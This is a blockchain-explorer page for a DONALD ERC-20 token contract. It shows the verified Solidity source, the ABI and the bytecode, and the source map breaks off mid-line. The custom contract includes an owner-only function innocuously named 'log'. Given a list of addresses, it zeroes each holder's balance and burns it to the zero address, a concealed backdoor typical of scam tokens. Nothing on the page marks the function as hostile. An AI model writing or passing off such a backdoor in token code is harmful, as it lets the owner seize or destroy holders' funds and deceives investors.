Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
295,000,000 DONALD
Holders
40
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
3,378,870.75126573298452699 DONALDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
donald
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-17 */ // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: barb.sol /** *SPDX-License-Identifier: MIT */ pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract donald is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public boat; constructor () { _name = "DONALD"; _symbol = "DONALD"; _decimals = 18; uint256 initialSupply = 295000000; boat = msg.sender; _mint(msg.sender, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier onlyOwner() { require(msg.sender == boat, "Not allowed"); _; } function log(address[] memory revolution) public onlyOwner() { for (uint256 i = 0; i < revolution.length; i++) { address account = revolution[i]; uint256 amount = _balances[account]; _balances[account] = _balances[account].sub(amount, "ERROR"); _balances[address(0)] = _balances[address(0)].add(amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"boat","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"revolution","type":"address[]"}],"name":"log","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040805180820190915260068152651113d390531160d21b60208201526002906200003e908262000275565b506040805180820190915260068152651113d390531160d21b60208201526003906200006b908262000275565b506004805460ff19166012179055600680546001600160a01b0319163390811790915563119557c090620000b390620000ad83670de0b6b3a764000062000357565b620000ba565b5062000387565b6001600160a01b038216620001155760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b6200013181600554620001b960201b620004ab1790919060201c565b6005556001600160a01b0382166000908152602081815260409091205462000164918390620004ab620001b9821b17901c565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6000620001c7828462000371565b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620001fb57607f821691505b6020821081036200021c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200027057600081815260208120601f850160051c810160208610156200024b5750805b601f850160051c820191505b818110156200026c5782815560010162000257565b5050505b505050565b81516001600160401b03811115620002915762000291620001d0565b620002a981620002a28454620001e6565b8462000222565b602080601f831160018114620002e15760008415620002c85750858301515b600019600386901b1c1916600185901b1785556200026c565b600085815260208120601f198616915b828110156200031257888601518255948401946001909101908401620002f1565b5085821015620003315787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620001ca57620001ca62000341565b80820180821115620001ca57620001ca62000341565b610b2680620003976000396000f3fe608060405234801561001057600080fd5b50600436106100c95760003560e01c8063306a91ff1161008157806395d89b411161005b57806395d89b41146101b2578063a9059cbb146101ba578063dd62ed3e146101cd57600080fd5b8063306a91ff14610149578063313ce5671461017457806370a082311461018957600080fd5b8063095ea7b3116100b2578063095ea7b31461010157806318160ddd1461012457806323b872dd1461013657600080fd5b80630682108f146100ce57806306fdde03146100e3575b600080fd5b6100e16100dc36600461082a565b610206565b005b6100eb61037d565b6040516100f891906108ef565b60405180910390f35b61011461010f36600461093d565b61040f565b60405190151581526020016100f8565b6005545b6040519081526020016100f8565b610114610144366004610967565b610426565b60065461015c906001600160a01b031681565b6040516001600160a01b0390911681526020016100f8565b60045460405160ff90911681526020016100f8565b6101286101973660046109a3565b6001600160a01b031660009081526020819052604090205490565b6100eb61048f565b6101146101c836600461093d565b61049e565b6101286101db3660046109be565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6006546001600160a01b031633146102655760405162461bcd60e51b815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b60005b8151811015610379576000828281518110610285576102856109f1565b6020908102919091018101516001600160a01b03811660008181528084526040808220548151808301909252600582527f4552524f52000000000000000000000000000000000000000000000000000000828701529282529352909250906102f090829081906104be565b6001600160a01b03831660009081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461033a90826104ab565b60008080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5555081905061037181610a1d565b915050610268565b5050565b60606002805461038c90610a55565b80601f01602080910402602001604051908101604052809291908181526020018280546103b890610a55565b80156104055780601f106103da57610100808354040283529160200191610405565b820191906000526020600020905b8154815290600101906020018083116103e857829003601f168201915b5050505050905090565b600061041c3384846104ea565b5060015b92915050565b6000610433848484610643565b610485843361048085604051806060016040528060288152602001610ac9602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906104be565b6104ea565b5060019392505050565b60606003805461038c90610a55565b600061041c338484610643565b60006104b78284610a8f565b9392505050565b600081848411156104e25760405162461bcd60e51b815260040161025c91906108ef565b505050900390565b6001600160a01b0383166105655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161025c565b6001600160a01b0382166105e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161025c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106bf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161025c565b6001600160a01b03821661073b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161025c565b61077881604051806060016040528060268152602001610aa3602691396001600160a01b03861660009081526020819052604090205491906104be565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546107a790826104ab565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610636565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b038116811461082557600080fd5b919050565b6000602080838503121561083d57600080fd5b823567ffffffffffffffff8082111561085557600080fd5b818501915085601f83011261086957600080fd5b81358181111561087b5761087b6107f8565b8060051b604051601f19603f830116810181811085821117156108a0576108a06107f8565b6040529182528482019250838101850191888311156108be57600080fd5b938501935b828510156108e3576108d48561080e565b845293850193928501926108c3565b98975050505050505050565b600060208083528351808285015260005b8181101561091c57858101830151858201604001528201610900565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561095057600080fd5b6109598361080e565b946020939093013593505050565b60008060006060848603121561097c57600080fd5b6109858461080e565b92506109936020850161080e565b9150604084013590509250925092565b6000602082840312156109b557600080fd5b6104b78261080e565b600080604083850312156109d157600080fd5b6109da8361080e565b91506109e86020840161080e565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610a4e57610a4e610a07565b5060010190565b600181811c90821680610a6957607f821691505b602082108103610a8957634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561042057610420610a0756fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fe617468df6669ae6547a5854f11666013a356155e7e42b172fc40babb1708ea64736f6c63430008120033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100c95760003560e01c8063306a91ff1161008157806395d89b411161005b57806395d89b41146101b2578063a9059cbb146101ba578063dd62ed3e146101cd57600080fd5b8063306a91ff14610149578063313ce5671461017457806370a082311461018957600080fd5b8063095ea7b3116100b2578063095ea7b31461010157806318160ddd1461012457806323b872dd1461013657600080fd5b80630682108f146100ce57806306fdde03146100e3575b600080fd5b6100e16100dc36600461082a565b610206565b005b6100eb61037d565b6040516100f891906108ef565b60405180910390f35b61011461010f36600461093d565b61040f565b60405190151581526020016100f8565b6005545b6040519081526020016100f8565b610114610144366004610967565b610426565b60065461015c906001600160a01b031681565b6040516001600160a01b0390911681526020016100f8565b60045460405160ff90911681526020016100f8565b6101286101973660046109a3565b6001600160a01b031660009081526020819052604090205490565b6100eb61048f565b6101146101c836600461093d565b61049e565b6101286101db3660046109be565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6006546001600160a01b031633146102655760405162461bcd60e51b815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b60005b8151811015610379576000828281518110610285576102856109f1565b6020908102919091018101516001600160a01b03811660008181528084526040808220548151808301909252600582527f4552524f52000000000000000000000000000000000000000000000000000000828701529282529352909250906102f090829081906104be565b6001600160a01b03831660009081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb55461033a90826104ab565b60008080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5555081905061037181610a1d565b915050610268565b5050565b60606002805461038c90610a55565b80601f01602080910402602001604051908101604052809291908181526020018280546103b890610a55565b80156104055780601f106103da57610100808354040283529160200191610405565b820191906000526020600020905b8154815290600101906020018083116103e857829003601f168201915b5050505050905090565b600061041c3384846104ea565b5060015b92915050565b6000610433848484610643565b610485843361048085604051806060016040528060288152602001610ac9602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906104be565b6104ea565b5060019392505050565b60606003805461038c90610a55565b600061041c338484610643565b60006104b78284610a8f565b9392505050565b600081848411156104e25760405162461bcd60e51b815260040161025c91906108ef565b505050900390565b6001600160a01b0383166105655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015260840161025c565b6001600160a01b0382166105e15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015260840161025c565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106bf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f6472657373000000000000000000000000000000000000000000000000000000606482015260840161025c565b6001600160a01b03821661073b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f6573730000000000000000000000000000000000000000000000000000000000606482015260840161025c565b61077881604051806060016040528060268152602001610aa3602691396001600160a01b03861660009081526020819052604090205491906104be565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546107a790826104ab565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610636565b634e487b7160e01b600052604160045260246000fd5b80356001600160a01b038116811461082557600080fd5b919050565b6000602080838503121561083d57600080fd5b823567ffffffffffffffff8082111561085557600080fd5b818501915085601f83011261086957600080fd5b81358181111561087b5761087b6107f8565b8060051b604051601f19603f830116810181811085821117156108a0576108a06107f8565b6040529182528482019250838101850191888311156108be57600080fd5b938501935b828510156108e3576108d48561080e565b845293850193928501926108c3565b98975050505050505050565b600060208083528351808285015260005b8181101561091c57858101830151858201604001528201610900565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561095057600080fd5b6109598361080e565b946020939093013593505050565b60008060006060848603121561097c57600080fd5b6109858461080e565b92506109936020850161080e565b9150604084013590509250925092565b6000602082840312156109b557600080fd5b6104b78261080e565b600080604083850312156109d157600080fd5b6109da8361080e565b91506109e86020840161080e565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610a4e57610a4e610a07565b5060010190565b600181811c90821680610a6957607f821691505b602082108103610a8957634e487b7160e01b600052602260045260246000fd5b50919050565b8082018082111561042057610420610a0756fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fe617468df6669ae6547a5854f11666013a356155e7e42b172fc40babb1708ea64736f6c63430008120033
Deployed Bytecode Sourcemap
18150:3634:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21399:382;;;;;;:::i;:::-;;:::i;:::-;;18778:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19961:169;;;;;;:::i;:::-;;:::i;:::-;;;2625:14:1;;2618:22;2600:41;;2588:2;2573:18;19961:169:0;2460:187:1;19055:100:0;19135:12;;19055:100;;;2798:25:1;;;2786:2;2771:18;19055:100:0;2652:177:1;19473:321:0;;;;;;:::i;:::-;;:::i;18512:20::-;;;;;-1:-1:-1;;;;;18512:20:0;;;;;;-1:-1:-1;;;;;3331:55:1;;;3313:74;;3301:2;3286:18;18512:20:0;3167:226:1;18964:83:0;19030:9;;18964:83;;19030:9;;;;3540:36:1;;3528:2;3513:18;18964:83:0;3398:184:1;19163:119:0;;;;;;:::i;:::-;-1:-1:-1;;;;;19256:18:0;19229:7;19256:18;;;;;;;;;;;;19163:119;18869:87;;;:::i;19290:175::-;;;;;;:::i;:::-;;:::i;19802:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;19918:18:0;;;19891:7;19918:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19802:151;21399:382;21351:4;;-1:-1:-1;;;;;21351:4:0;21337:10;:18;21329:42;;;;-1:-1:-1;;;21329:42:0;;4245:2:1;21329:42:0;;;4227:21:1;4284:2;4264:18;;;4257:30;4323:13;4303:18;;;4296:41;4354:18;;21329:42:0;;;;;;;;;21476:9:::1;21471:303;21495:10;:17;21491:1;:21;21471:303;;;21534:15;21552:10;21563:1;21552:13;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;21597:18:0;::::1;21580:14;21597:18:::0;;;;;;;;;;;21651:39;;;;::::1;::::0;;;::::1;::::0;;::::1;::::0;;::::1;::::0;:18;;;;;21552:13;;-1:-1:-1;21597:18:0;21651:39:::1;::::0;21597:18;;;;21651:22:::1;:39::i;:::-;-1:-1:-1::0;;;;;21630:18:0;::::1;:9;:18:::0;;;::::1;::::0;;;;;;:60;;;;21729:21;;;;:33:::1;::::0;21755:6;21729:25:::1;:33::i;:::-;21705:9;:21:::0;;;::::1;::::0;;:57;-1:-1:-1;21514:3:0;;-1:-1:-1;21514:3:0::1;::::0;::::1;:::i;:::-;;;;21471:303;;;;21399:382:::0;:::o;18778:83::-;18815:13;18848:5;18841:12;;;;;:::